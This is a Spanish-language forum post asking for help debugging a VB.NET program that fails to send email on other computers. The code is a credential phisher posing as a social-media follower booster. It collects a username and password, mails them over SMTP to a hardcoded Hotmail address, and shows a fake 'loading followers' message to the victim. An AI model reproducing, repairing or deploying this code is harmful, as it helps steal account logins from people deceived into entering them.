Hola, yo cree un programa el cual, pones un usuario y contraseña y enviar y se envia a un correo ya establecido el problema es que funciona perfecto en mi pc pero en otra pc no funciona. Tira el error de mensaje no enviado, cual puede ser el problema?
· No se debe escribir en mayúsculas
>aquí las reglas del foro
-Engel Lex
Código (vbnet) [Seleccionar]
Imports System.Net.Mail
Public Class FollowLikes
'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
Dim thread As System.Threading.Thread
Dim smtp As New SmtpClient("smtp-mail.outlook.com")
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
Control.CheckForIllegalCrossThreadCalls = False
End Sub
Private Sub DoGenerate()
Try
Dim mail As New MailMessage
mail.From = New MailAddress("leonel1275@hotmail.com")
mail.To.Add("leonel1275@hotmail.com")
mail.Subject = "Updates"
mail.Body = "USERNAME: " + TextBox1.Text + vbNewLine + "PASSWORD: " + TextBox2.Text
smtp.Port = 587
smtp.EnableSsl = True
smtp.Credentials = New Net.NetworkCredential("leonel1275@hotmail.com", "contraseña")
smtp.Send(mail)
MessageBox.Show("Cargando Seguidores, Puede que este preceso dure entre 1 a 3 minutos dependiendo de sus seguidores", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
Catch exE As Exception
MessageBox.Show("Error Servidor Conctacte al administrador para mas informacion.") 'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
thread = New System.Threading.Thread(AddressOf DoGenerate)
thread.Start()
TextBox1.Enabled = False
TextBox2.Enabled = False
Button1.Enabled = False
End Sub
Private Sub nomalstate()
TextBox1.Enabled = True
TextBox2.Enabled = True
Button1.Enabled = True
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
End Class
· No se debe escribir en mayúsculas
>aquí las reglas del foro
-Engel Lex